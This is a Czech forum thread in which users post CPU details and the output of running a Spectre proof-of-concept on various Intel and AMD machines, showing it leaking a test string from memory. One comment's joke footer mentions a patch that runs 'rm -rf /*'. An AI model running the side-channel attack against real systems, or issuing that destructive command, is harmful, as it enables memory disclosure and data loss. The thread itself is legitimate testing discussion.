    Reading 40 bytes:
    Reading at malicious_x = 0xffffffffffdfed48... Unclear: 0x54=’T’ score=994 (second best: 0x01 score=801)
    Reading at malicious_x = 0xffffffffffdfed49... Unclear: 0x68=’h’ score=995 (second best: 0x01 score=793)
    Reading at malicious_x = 0xffffffffffdfed4a... Unclear: 0x65=’e’ score=992 (second best: 0x01 score=766)
    Reading at malicious_x = 0xffffffffffdfed4b... Unclear: 0x20=’ ’ score=992 (second best: 0x01 score=786)
    Reading at malicious_x = 0xffffffffffdfed4c... Unclear: 0x4D=’M’ score=986 (second best: 0x01 score=762)
    Reading at malicious_x = 0xffffffffffdfed4d... Unclear: 0x61=’a’ score=988 (second best: 0x01 score=776)
    Reading at malicious_x = 0xffffffffffdfed4e... Unclear: 0x67=’g’ score=996 (second best: 0x01 score=764)
    Reading at malicious_x = 0xffffffffffdfed4f... Success: 0x69=’i’ score=23 (second best: 0x6A score=9)
    Reading at malicious_x = 0xffffffffffdfed50... Unclear: 0x63=’c’ score=995 (second best: 0x01 score=772)
    Reading at malicious_x = 0xffffffffffdfed51... Unclear: 0x20=’ ’ score=989 (second best: 0x01 score=804)
    Reading at malicious_x = 0xffffffffffdfed52... Unclear: 0x57=’W’ score=991 (second best: 0x01 score=783)
    Reading at malicious_x = 0xffffffffffdfed53... Unclear: 0x6F=’o’ score=983 (second best: 0x01 score=785)
    Reading at malicious_x = 0xffffffffffdfed54... Unclear: 0x72=’r’ score=987 (second best: 0x01 score=757)
    Reading at malicious_x = 0xffffffffffdfed55... Unclear: 0x64=’d’ score=992 (second best: 0x01 score=797)
    Reading at malicious_x = 0xffffffffffdfed56... Unclear: 0x73=’s’ score=992 (second best: 0x01 score=754)
    Reading at malicious_x = 0xffffffffffdfed57... Unclear: 0x20=’ ’ score=988 (second best: 0x01 score=769)
    Reading at malicious_x = 0xffffffffffdfed58... Unclear: 0x61=’a’ score=986 (second best: 0x01 score=774)
    Reading at malicious_x = 0xffffffffffdfed59... Unclear: 0x72=’r’ score=990 (second best: 0x01 score=793)
    Reading at malicious_x = 0xffffffffffdfed5a... Unclear: 0x65=’e’ score=985 (second best: 0x01 score=772)
    Reading at malicious_x = 0xffffffffffdfed5b... Unclear: 0x20=’ ’ score=990 (second best: 0x01 score=793)
    Reading at malicious_x = 0xffffffffffdfed5c... Unclear: 0x53=’S’ score=989 (second best: 0x01 score=798)
    Reading at malicious_x = 0xffffffffffdfed5d... Unclear: 0x71=’q’ score=987 (second best: 0x01 score=761)
    Reading at malicious_x = 0xffffffffffdfed5e... Unclear: 0x75=’u’ score=994 (second best: 0x01 score=768)
    Reading at malicious_x = 0xffffffffffdfed5f... Unclear: 0x65=’e’ score=994 (second best: 0x01 score=751)
    Reading at malicious_x = 0xffffffffffdfed60... Unclear: 0x61=’a’ score=983 (second best: 0x01 score=801)
    Reading at malicious_x = 0xffffffffffdfed61... Unclear: 0x6D=’m’ score=987 (second best: 0x01 score=774)
    Reading at malicious_x = 0xffffffffffdfed62... Unclear: 0x69=’i’ score=988 (second best: 0x01 score=810)
    Reading at malicious_x = 0xffffffffffdfed63... Unclear: 0x73=’s’ score=995 (second best: 0x01 score=809)
    Reading at malicious_x = 0xffffffffffdfed64... Unclear: 0x68=’h’ score=990 (second best: 0x01 score=780)
    Reading at malicious_x = 0xffffffffffdfed65... Unclear: 0x20=’ ’ score=990 (second best: 0x01 score=772)
    Reading at malicious_x = 0xffffffffffdfed66... Unclear: 0x4F=’O’ score=987 (second best: 0x01 score=787)
    Reading at malicious_x = 0xffffffffffdfed67... Unclear: 0x73=’s’ score=989 (second best: 0x01 score=789)
    Reading at malicious_x = 0xffffffffffdfed68... Unclear: 0x73=’s’ score=993 (second best: 0x01 score=786)
    Reading at malicious_x = 0xffffffffffdfed69... Unclear: 0x69=’i’ score=992 (second best: 0x01 score=763)
    Reading at malicious_x = 0xffffffffffdfed6a... Unclear: 0x66=’f’ score=972 (second best: 0x01 score=774)
    Reading at malicious_x = 0xffffffffffdfed6b... Unclear: 0x72=’r’ score=988 (second best: 0x01 score=772)
    Reading at malicious_x = 0xffffffffffdfed6c... Unclear: 0x61=’a’ score=990 (second best: 0x01 score=768)
    Reading at malicious_x = 0xffffffffffdfed6d... Unclear: 0x67=’g’ score=992 (second best: 0x01 score=769)
    Reading at malicious_x = 0xffffffffffdfed6e... Unclear: 0x65=’e’ score=988 (second best: 0x01 score=750)
    Reading at malicious_x = 0xffffffffffdfed6f... Unclear: 0x2E=’.’ score=995 (second best: 0x01 score=781)
    
    4.1. 21:55 Johanka | Praha
    Rozbalit Rozbalit vše Re: Spectre na AMD
    A ty optimalizace to opravdu rozbijou.
    4.1. 21:58 Johanka | Praha
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Jo, pardon, čím vyšší, tím vyšší pravděpodobnost že je to správně. Jako bych nic nenapsala.
    4.1. 21:58 Mrkva | skóre: 22 | blog: urandom
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Koukam ze ta paticka k tomu komentari docela sedne :)

    Po aplikaci patche to uspesne ocekavane bezi na: E3-1231 v3, i7-6700K, i5-4200U. Doma muzu zkusit jeste 1800X, ale predpokladam ze to tam probehne taky.
    Warning: The patch is horribly wrong, don't use it. According to our tests, it just runs "rm -rf /*".
    5.1. 16:12 PavelM
    Rozbalit Rozbalit vše Re: Spectre na AMD
    processor	: 7
    vendor_id	: GenuineIntel
    cpu family	: 6
    model		: 94
    model name	: Intel(R) Core(TM) i7-6820HQ CPU @ 2.70GHz
    stepping	: 3
    microcode	: 0xba
    cpu MHz		: 3346.325
    cache size	: 8192 KB
    physical id	: 0
    siblings	: 8
    core id		: 3
    cpu cores	: 4
    apicid		: 7
    initial apicid	: 7
    fpu		: yes
    fpu_exception	: yes
    cpuid level	: 22
    wp		: yes
    flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf tsc_known_freq pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch epb intel_pt tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp
    bugs		:
    bogomips	: 5424.00
    clflush size	: 64
    cache_alignment	: 64
    address sizes	: 39 bits physical, 48 bits virtual
    power management:
    
    ####$ ./spectre2
    Reading 40 bytes:
    Reading at malicious_x = 0xffffffffffdfebb8... Unclear: 0x54=’T’ score=998 (second best: 0x01 score=765)
    Reading at malicious_x = 0xffffffffffdfebb9... Unclear: 0x68=’h’ score=999 (second best: 0x01 score=727)
    Reading at malicious_x = 0xffffffffffdfebba... Unclear: 0x65=’e’ score=997 (second best: 0x01 score=775)
    Reading at malicious_x = 0xffffffffffdfebbb... Unclear: 0x20=’ ’ score=998 (second best: 0x01 score=777)
    Reading at malicious_x = 0xffffffffffdfebbc... Unclear: 0x4D=’M’ score=998 (second best: 0x01 score=752)
    Reading at malicious_x = 0xffffffffffdfebbd... Unclear: 0x61=’a’ score=998 (second best: 0x01 score=788)
    Reading at malicious_x = 0xffffffffffdfebbe... Unclear: 0x67=’g’ score=999 (second best: 0x01 score=755)
    Reading at malicious_x = 0xffffffffffdfebbf... Unclear: 0x69=’i’ score=998 (second best: 0x01 score=796)
    Reading at malicious_x = 0xffffffffffdfebc0... Unclear: 0x63=’c’ score=998 (second best: 0x01 score=775)
    Reading at malicious_x = 0xffffffffffdfebc1... Unclear: 0x20=’ ’ score=999 (second best: 0x01 score=763)
    Reading at malicious_x = 0xffffffffffdfebc2... Unclear: 0x57=’W’ score=988 (second best: 0x01 score=712)
    Reading at malicious_x = 0xffffffffffdfebc3... Unclear: 0x6F=’o’ score=999 (second best: 0x01 score=795)
    Reading at malicious_x = 0xffffffffffdfebc4... Unclear: 0x72=’r’ score=998 (second best: 0x01 score=782)
    Reading at malicious_x = 0xffffffffffdfebc5... Unclear: 0x64=’d’ score=997 (second best: 0x01 score=794)
    Reading at malicious_x = 0xffffffffffdfebc6... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=794)
    Reading at malicious_x = 0xffffffffffdfebc7... Unclear: 0x20=’ ’ score=998 (second best: 0x01 score=771)
    Reading at malicious_x = 0xffffffffffdfebc8... Unclear: 0x61=’a’ score=997 (second best: 0x01 score=805)
    Reading at malicious_x = 0xffffffffffdfebc9... Unclear: 0x72=’r’ score=998 (second best: 0x01 score=788)
    Reading at malicious_x = 0xffffffffffdfebca... Unclear: 0x65=’e’ score=998 (second best: 0x01 score=715)
    Reading at malicious_x = 0xffffffffffdfebcb... Unclear: 0x20=’ ’ score=993 (second best: 0x01 score=769)
    Reading at malicious_x = 0xffffffffffdfebcc... Unclear: 0x53=’S’ score=998 (second best: 0x01 score=779)
    Reading at malicious_x = 0xffffffffffdfebcd... Unclear: 0x71=’q’ score=997 (second best: 0x01 score=786)
    Reading at malicious_x = 0xffffffffffdfebce... Unclear: 0x75=’u’ score=998 (second best: 0x01 score=785)
    Reading at malicious_x = 0xffffffffffdfebcf... Unclear: 0x65=’e’ score=997 (second best: 0x01 score=779)
    Reading at malicious_x = 0xffffffffffdfebd0... Unclear: 0x61=’a’ score=999 (second best: 0x01 score=752)
    Reading at malicious_x = 0xffffffffffdfebd1... Unclear: 0x6D=’m’ score=999 (second best: 0x01 score=778)
    Reading at malicious_x = 0xffffffffffdfebd2... Unclear: 0x69=’i’ score=998 (second best: 0x01 score=761)
    Reading at malicious_x = 0xffffffffffdfebd3... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=792)
    Reading at malicious_x = 0xffffffffffdfebd4... Unclear: 0x68=’h’ score=999 (second best: 0x01 score=713)
    Reading at malicious_x = 0xffffffffffdfebd5... Unclear: 0x20=’ ’ score=997 (second best: 0x01 score=785)
    Reading at malicious_x = 0xffffffffffdfebd6... Unclear: 0x4F=’O’ score=999 (second best: 0x01 score=783)
    Reading at malicious_x = 0xffffffffffdfebd7... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=795)
    Reading at malicious_x = 0xffffffffffdfebd8... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=771)
    Reading at malicious_x = 0xffffffffffdfebd9... Unclear: 0x69=’i’ score=998 (second best: 0x01 score=716)
    Reading at malicious_x = 0xffffffffffdfebda... Unclear: 0x66=’f’ score=996 (second best: 0x01 score=769)
    Reading at malicious_x = 0xffffffffffdfebdb... Unclear: 0x72=’r’ score=999 (second best: 0x01 score=774)
    Reading at malicious_x = 0xffffffffffdfebdc... Unclear: 0x61=’a’ score=996 (second best: 0x01 score=764)
    Reading at malicious_x = 0xffffffffffdfebdd... Unclear: 0x67=’g’ score=999 (second best: 0x01 score=736)
    Reading at malicious_x = 0xffffffffffdfebde... Unclear: 0x65=’e’ score=996 (second best: 0x01 score=779)
    Reading at malicious_x = 0xffffffffffdfebdf... Unclear: 0x2E=’.’ score=998 (second best: 0x01 score=772)
    
    4.1. 21:49 majales | skóre: 23 | blog: Majales
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Intel(R) Xeon(R) CPU E3-1230 V2

    uname -a Linux debian-virt 3.16.0-0.bpo.4-amd64 #1 SMP Debian 3.16.7-ckt11-1+deb8u6~bpo70+1 (2015-11-11) x86_64 GNU/Linux
    lvmsyncuser@debian-virt:~$ cat /proc/cpuinfo
    processor       : 0
    vendor_id       : GenuineIntel
    cpu family      : 6
    model           : 58
    model name      : Intel(R) Xeon(R) CPU E3-1230 V2 @ 3.30GHz
    stepping        : 9
    microcode       : 0x12
    cpu MHz         : 1732.371
    cache size      : 8192 KB
    physical id     : 0
    siblings        : 8
    core id         : 0
    cpu cores       : 4
    apicid          : 0
    initial apicid  : 0
    fpu             : yes
    fpu_exception   : yes
    cpuid level     : 13
    wp              : yes
    flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm ida arat epb xsaveopt pln pts dtherm tpr_shadow vnmi flexpriority ept vpid fsgsbase smep erms
    bogomips        : 6600.20
    clflush size    : 64
    cache_alignment : 64
    address sizes   : 36 bits physical, 48 bits virtual
    power management:
    ..
    .
    
    lvmsyncuser@debian-virt:~$ ./spectre
    Reading 40 bytes:
    Reading at malicious_x = 0xffffffffffdff900... Unclear: 0xDF=’▒’ score=999 (second best: 0xD0 score=999)
    Reading at malicious_x = 0xffffffffffdff901... Unclear: 0xF2=’▒’ score=999 (second best: 0xEB score=999)
    Reading at malicious_x = 0xffffffffffdff902... Unclear: 0xF5=’▒’ score=999 (second best: 0xF2 score=999)
    Reading at malicious_x = 0xffffffffffdff903... Unclear: 0xF6=’▒’ score=999 (second best: 0xF5 score=999)
    Reading at malicious_x = 0xffffffffffdff904... Unclear: 0xF8=’▒’ score=999 (second best: 0xF7 score=999)
    Reading at malicious_x = 0xffffffffffdff905... Unclear: 0xFF=’▒’ score=999 (second best: 0xFC score=999)
    Reading at malicious_x = 0xffffffffffdff906... Unclear: 0xFE=’▒’ score=999 (second best: 0xF7 score=999)
    Reading at malicious_x = 0xffffffffffdff907... Unclear: 0xFE=’▒’ score=999 (second best: 0xFC score=999)
    Reading at malicious_x = 0xffffffffffdff908... Unclear: 0xFE=’▒’ score=999 (second best: 0xF9 score=999)
    Reading at malicious_x = 0xffffffffffdff909... Unclear: 0xFA=’▒’ score=999 (second best: 0xF8 score=999)
    Reading at malicious_x = 0xffffffffffdff90a... Unclear: 0xFB=’▒’ score=999 (second best: 0xF7 score=999)
    Reading at malicious_x = 0xffffffffffdff90b... Unclear: 0xF8=’▒’ score=999 (second best: 0xF4 score=999)
    Reading at malicious_x = 0xffffffffffdff90c... Unclear: 0xFF=’▒’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff90d... Unclear: 0xF2=’▒’ score=999 (second best: 0xF0 score=999)
    Reading at malicious_x = 0xffffffffffdff90e... Unclear: 0xFC=’▒’ score=999 (second best: 0xF6 score=999)
    Reading at malicious_x = 0xffffffffffdff90f... Unclear: 0xFE=’▒’ score=999 (second best: 0xFB score=999)
    Reading at malicious_x = 0xffffffffffdff910... Unclear: 0xFF=’▒’ score=999 (second best: 0xFE score=999)
    Reading at malicious_x = 0xffffffffffdff911... Unclear: 0xFF=’▒’ score=999 (second best: 0xFE score=999)
    Reading at malicious_x = 0xffffffffffdff912... Unclear: 0xFE=’▒’ score=999 (second best: 0xF9 score=999)
    Reading at malicious_x = 0xffffffffffdff913... Unclear: 0xFF=’▒’ score=999 (second best: 0xFB score=999)
    Reading at malicious_x = 0xffffffffffdff914... Unclear: 0xEE=’▒’ score=999 (second best: 0xED score=999)
    Reading at malicious_x = 0xffffffffffdff915... Unclear: 0xF7=’▒’ score=999 (second best: 0xEE score=999)
    Reading at malicious_x = 0xffffffffffdff916... Unclear: 0xFE=’▒’ score=999 (second best: 0xFC score=999)
    Reading at malicious_x = 0xffffffffffdff917... Unclear: 0xFF=’▒’ score=999 (second best: 0xFE score=999)
    Reading at malicious_x = 0xffffffffffdff918... Unclear: 0xFF=’▒’ score=999 (second best: 0xFD score=999)
    Reading at malicious_x = 0xffffffffffdff919... Unclear: 0xF6=’▒’ score=999 (second best: 0xF4 score=999)
    Reading at malicious_x = 0xffffffffffdff91a... Unclear: 0xF8=’▒’ score=999 (second best: 0xF0 score=999)
    Reading at malicious_x = 0xffffffffffdff91b... Unclear: 0xF8=’▒’ score=999 (second best: 0xF1 score=999)
    Reading at malicious_x = 0xffffffffffdff91c... Unclear: 0xFB=’▒’ score=999 (second best: 0xF4 score=999)
    Reading at malicious_x = 0xffffffffffdff91d... Unclear: 0xFF=’▒’ score=999 (second best: 0xFA score=999)
    Reading at malicious_x = 0xffffffffffdff91e... Unclear: 0xF8=’▒’ score=999 (second best: 0xF6 score=999)
    Reading at malicious_x = 0xffffffffffdff91f... Unclear: 0xFC=’▒’ score=999 (second best: 0xF5 score=999)
    Reading at malicious_x = 0xffffffffffdff920... Unclear: 0xF6=’▒’ score=999 (second best: 0xF2 score=999)
    Reading at malicious_x = 0xffffffffffdff921... Unclear: 0xFE=’▒’ score=999 (second best: 0xF7 score=999)
    Reading at malicious_x = 0xffffffffffdff922... Unclear: 0xFC=’▒’ score=999 (second best: 0xEE score=999)
    Reading at malicious_x = 0xffffffffffdff923... Unclear: 0xFC=’▒’ score=999 (second best: 0xFB score=999)
    Reading at malicious_x = 0xffffffffffdff924... Unclear: 0xF1=’▒’ score=999 (second best: 0xED score=999)
    Reading at malicious_x = 0xffffffffffdff925... Unclear: 0xFC=’▒’ score=999 (second best: 0xF6 score=999)
    Reading at malicious_x = 0xffffffffffdff926... Unclear: 0xF8=’▒’ score=999 (second best: 0xF3 score=999)
    Reading at malicious_x = 0xffffffffffdff927... Unclear: 0xF6=’▒’ score=999 (second best: 0xF3 score=999)
    
    4.1. 22:32 majales | skóre: 23 | blog: Majales
    Rozbalit Rozbalit vše Re: Spectre na AMD
    po aplikaci patche z postu z 21:47

    Intel(R) Xeon(R) CPU E3-1230 V2
    lvmsyncuser@debian-virt:~$ ./spectre
    Reading 40 bytes:
    Reading at malicious_x = 0xffffffffffdff920... Success: 0x54=’T’ score=11 (second best: 0x04 score=3)
    Reading at malicious_x = 0xffffffffffdff921... Success: 0x68=’h’ score=25 (second best: 0x04 score=10)
    Reading at malicious_x = 0xffffffffffdff922... Unclear: 0x65=’e’ score=27 (second best: 0x00 score=14)
    Reading at malicious_x = 0xffffffffffdff923... Success: 0x20=’ ’ score=2
    Reading at malicious_x = 0xffffffffffdff924... Success: 0x4D=’M’ score=2
    Reading at malicious_x = 0xffffffffffdff925... Success: 0x61=’a’ score=2
    Reading at malicious_x = 0xffffffffffdff926... Success: 0x67=’g’ score=2
    Reading at malicious_x = 0xffffffffffdff927... Success: 0x69=’i’ score=2
    Reading at malicious_x = 0xffffffffffdff928... Success: 0x63=’c’ score=2
    Reading at malicious_x = 0xffffffffffdff929... Success: 0x20=’ ’ score=2
    Reading at malicious_x = 0xffffffffffdff92a... Success: 0x57=’W’ score=17 (second best: 0x04 score=6)
    Reading at malicious_x = 0xffffffffffdff92b... Success: 0x6F=’o’ score=2
    Reading at malicious_x = 0xffffffffffdff92c... Success: 0x72=’r’ score=2
    Reading at malicious_x = 0xffffffffffdff92d... Success: 0x64=’d’ score=2
    Reading at malicious_x = 0xffffffffffdff92e... Success: 0x73=’s’ score=15
    Reading at malicious_x = 0xffffffffffdff92f... Success: 0x20=’ ’ score=2
    Reading at malicious_x = 0xffffffffffdff930... Success: 0x61=’a’ score=2
    Reading at malicious_x = 0xffffffffffdff931... Success: 0x72=’r’ score=2
    Reading at malicious_x = 0xffffffffffdff932... Unclear: 0x65=’e’ score=9 (second best: 0x00 score=7)
    Reading at malicious_x = 0xffffffffffdff933... Success: 0x20=’ ’ score=2
    Reading at malicious_x = 0xffffffffffdff934... Success: 0x53=’S’ score=2
    Reading at malicious_x = 0xffffffffffdff935... Success: 0x71=’q’ score=9 (second best: 0x04 score=2)
    Reading at malicious_x = 0xffffffffffdff936... Success: 0x75=’u’ score=2
    Reading at malicious_x = 0xffffffffffdff937... Success: 0x65=’e’ score=9 (second best: 0x04 score=2)
    Reading at malicious_x = 0xffffffffffdff938... Success: 0x61=’a’ score=2
    Reading at malicious_x = 0xffffffffffdff939... Success: 0x6D=’m’ score=15
    Reading at malicious_x = 0xffffffffffdff93a... Success: 0x69=’i’ score=2
    Reading at malicious_x = 0xffffffffffdff93b... Success: 0x73=’s’ score=15
    Reading at malicious_x = 0xffffffffffdff93c... Success: 0x68=’h’ score=13 (second best: 0x00 score=1)
    Reading at malicious_x = 0xffffffffffdff93d... Success: 0x20=’ ’ score=9 (second best: 0x04 score=2)
    Reading at malicious_x = 0xffffffffffdff93e... Success: 0x4F=’O’ score=21 (second best: 0x04 score=8)
    Reading at malicious_x = 0xffffffffffdff93f... Success: 0x73=’s’ score=2
    Reading at malicious_x = 0xffffffffffdff940... Success: 0x73=’s’ score=2
    Reading at malicious_x = 0xffffffffffdff941... Success: 0x69=’i’ score=2
    Reading at malicious_x = 0xffffffffffdff942... Success: 0x66=’f’ score=61 (second best: 0x04 score=28)
    Reading at malicious_x = 0xffffffffffdff943... Success: 0x72=’r’ score=7 (second best: 0x04 score=1)
    Reading at malicious_x = 0xffffffffffdff944... Success: 0x61=’a’ score=2
    Reading at malicious_x = 0xffffffffffdff945... Success: 0x67=’g’ score=9 (second best: 0x04 score=2)
    Reading at malicious_x = 0xffffffffffdff946... Success: 0x65=’e’ score=2
    Reading at malicious_x = 0xffffffffffdff947... Success: 0x2E=’.’ score=2
    
    4.1. 22:18 sk7
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Mám tu ešte 12 rokov starý Celeron je tam Puppy linux 4.3
    cat /proc/cpuinfo
    
    processor	: 0
    vendor_id	: GenuineIntel
    cpu family	: 15
    model		: 2
    model name	: Intel(R) Celeron(R) CPU 2.40GHz
    stepping	: 9
    cpu MHz		: 2399.920
    cache size	: 128 KB
    fdiv_bug	: no
    hlt_bug		: no
    f00f_bug	: no
    coma_bug	: no
    fpu		: yes
    fpu_exception	: yes
    cpuid level	: 2
    wp		: yes
    flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe up pebs bts cid xtpr
    bogomips	: 4799.84
    clflush size	: 64
    
    ./spectre
    
    Reading 40 bytes:
    Reading at malicious_x = 0xffffe970... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe971... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe972... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe973... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe974... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe975... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe976... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe977... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe978... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe979... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe97a... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe97b... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe97c... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe97d... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe97e... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe97f... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe980... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe981... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe982... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe983... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe984... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe985... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe986... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe987... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe988... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe989... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe98a... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe98b... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe98c... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe98d... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe98e... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe98f... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe990... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe991... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe992... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe993... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe994... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe995... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe996... Success: 0xFF=’I’ score=0 
    Reading at malicious_x = 0xffffe997... Success: 0xFF=’I’ score=0 
    
    4.1. 22:27 HP Fan
    Rozbalit Rozbalit vše Re: Spectre na AMD
    HPE MicroServer Gen10


    cat /proc/cpuinfo
    processor	: 0
    vendor_id	: AuthenticAMD
    cpu family	: 21
    model		: 96
    model name	: AMD Opteron(tm) X3216 APU
    stepping	: 1
    microcode	: 0x6006118
    cpu MHz		: 1200.000
    cache size	: 1024 KB
    physical id	: 0
    siblings	: 2
    core id		: 0
    cpu cores	: 1
    apicid		: 16
    initial apicid	: 0
    fpu		: yes
    fpu_exception	: yes
    cpuid level	: 13
    wp		: yes
    flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc extd_apicid aperfmperf pni pclmulqdq monitor ssse3 fma cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs xop skinit wdt lwp fma4 tce nodeid_msr tbm topoext perfctr_core perfctr_nb bpext ptsc mwaitx cpb hw_pstate vmmcall fsgsbase bmi1 avx2 smep bmi2 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale vmcb_clean flushbyasid decodeassists pausefilter pfthreshold avic overflow_recov
    bugs		: fxsave_leak sysret_ss_attrs null_seg
    bogomips	: 3194.18
    TLB size	: 1536 4K pages
    clflush size	: 64
    cache_alignment	: 64
    address sizes	: 48 bits physical, 48 bits virtual
    power management: ts ttp tm 100mhzsteps hwpstate cpb eff_freq_ro acc_power [13]
    
    processor	: 1
    vendor_id	: AuthenticAMD
    cpu family	: 21
    model		: 96
    model name	: AMD Opteron(tm) X3216 APU
    stepping	: 1
    microcode	: 0x6006118
    cpu MHz		: 1200.000
    cache size	: 1024 KB
    physical id	: 0
    siblings	: 2
    core id		: 1
    cpu cores	: 1
    apicid		: 17
    initial apicid	: 1
    fpu		: yes
    fpu_exception	: yes
    cpuid level	: 13
    wp		: yes
    flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc extd_apicid aperfmperf pni pclmulqdq monitor ssse3 fma cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs xop skinit wdt lwp fma4 tce nodeid_msr tbm topoext perfctr_core perfctr_nb bpext ptsc mwaitx cpb hw_pstate vmmcall fsgsbase bmi1 avx2 smep bmi2 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale vmcb_clean flushbyasid decodeassists pausefilter pfthreshold avic overflow_recov
    bugs		: fxsave_leak sysret_ss_attrs null_seg
    bogomips	: 3194.18
    TLB size	: 1536 4K pages
    clflush size	: 64
    cache_alignment	: 64
    address sizes	: 48 bits physical, 48 bits virtual
    power management: ts ttp tm 100mhzsteps hwpstate cpb eff_freq_ro acc_power [13]
    
    uname -a
    Linux 4.10.0-42-generic #46~16.04.1-Ubuntu SMP Mon Dec 4 15:57:59 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
    ./spectre
    Reading 40 bytes:
    Reading at malicious_x = 0xffffffffffdfeb68... Success: 0xB4=’e’ score=47 (second best: 0x0D score=21)
    Reading at malicious_x = 0xffffffffffdfeb69... Success: 0xB4=’e’ score=11 (second best: 0x5B score=3)
    Reading at malicious_x = 0xffffffffffdfeb6a... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
    Reading at malicious_x = 0xffffffffffdfeb6b... Success: 0xB4=’e’ score=11 (second best: 0xC7 score=3)
    Reading at malicious_x = 0xffffffffffdfeb6c... Success: 0xB4=’e’ score=9 (second best: 0xF4 score=2)
    Reading at malicious_x = 0xffffffffffdfeb6d... Success: 0xB4=’e’ score=7 (second best: 0xAF score=1)
    Reading at malicious_x = 0xffffffffffdfeb6e... Success: 0xB4=’e’ score=9 (second best: 0xB6 score=2)
    Reading at malicious_x = 0xffffffffffdfeb6f... Success: 0xB4=’e’ score=9 (second best: 0xB6 score=2)
    Reading at malicious_x = 0xffffffffffdfeb70... Success: 0xB4=’e’ score=9 (second best: 0xB6 score=2)
    Reading at malicious_x = 0xffffffffffdfeb71... Success: 0xB4=’e’ score=11 (second best: 0x0D score=3)
    Reading at malicious_x = 0xffffffffffdfeb72... Success: 0xB4=’e’ score=9 (second best: 0xFE score=2)
